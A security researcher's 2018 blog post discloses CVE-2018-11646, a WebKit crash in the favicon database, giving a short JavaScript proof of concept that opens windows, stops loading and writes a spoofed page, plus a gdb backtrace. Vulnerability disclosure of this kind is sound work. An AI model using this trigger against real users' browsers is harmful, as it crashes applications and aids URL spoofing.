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Friday, 1 June 2018

WebKit crashes when pageURL is unset - CVE-2018-11646

Hi Internet,

This bug is continuation of CVE-2018-11396 - BFuzz.

Summary:
webkitFaviconDatabaseSetIconURLForPageURL in UIProcess/AP/glib/WebKitFaviconDatabase.cpp in WebKit, as distributed in Safari Technology Preview Release 57, mishandles an unset pageURL, leading to an application crash.

PoC:
win = window.open("sleep_one_second.php", "WIN"); 
window.open("https://www.paypal.com", "WIN");  
win.document.execCommand('Stop');              
win.document.write("Spoofed URL");   
win.document.close();
After the patch of CVE-2018-11396 in Epiphany web browser with PoC still browser was getting crash using above JS. Unfortunately the gdb crash makes it impossible to get a full trace, so it was  hard to know for sure if this is an Epiphany bug or a WebKit bug and epiphany team started investigating the same.

Below is the backtrace using Fedora 27.
#0 WTF::StringImpl::rawHash
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/text/StringImpl.h line 508
#1 WTF::StringImpl::hasHash
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/text/StringImpl.h line 514
#2 WTF::StringImpl::hash
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/text/StringImpl.h line 525
#3 WTF::StringHash::hash
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/text/StringHash.h line 73
#9 WTF::HashMap, WTF::HashTraits >::get
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/HashMap.h line 406
#10 webkitFaviconDatabaseSetIconURLForPageURL
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/API/glib/WebKitFaviconDatabase.cpp line 193
#11 webkitFaviconDatabaseSetIconForPageURL
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/API/glib/WebKitFaviconDatabase.cpp line 318
#12 webkitWebViewSetIcon
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/API/glib/WebKitWebView.cpp line 1964
#13 WTF::Function::performCallbackWithReturnValue
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/GenericCallback.h line 108
#15 WebKit::WebPageProxy::dataCallback
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/WebPageProxy.cpp line 5083
#16 WebKit::WebPageProxy::finishedLoadingIcon
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/WebPageProxy.cpp line 6848
#17 IPC::callMemberFunctionImpl::operator()
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/glib/RunLoopGLib.cpp line 68
#29 WTF::RunLoop::::_FUN(gpointer)
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/glib/RunLoopGLib.cpp line 70
#30 g_main_dispatch
at gmain.c line 3148
#31 g_main_context_dispatch
at gmain.c line 3813
#32 g_main_context_iterate
at gmain.c line 3886
#33 g_main_context_iteration
at gmain.c line 3947
#34 g_application_run
at gapplication.c line 2401
#35 main
at ../src/ephy-main.c line 432 
Two similar reproducers triggered two different crashes. We concluded that this crash is from WebKit (Crash in WebKitFaviconDatabase when pageURL is unset) and bug was file for same and CVE-2018-11646 was assigned to this issue.

Mention's:
A shoutout to Zubin and Hardik (Teamw00t) we work together to find security bugs, Hope you like the read.


Regards
Dhiraj (Teamw00t)

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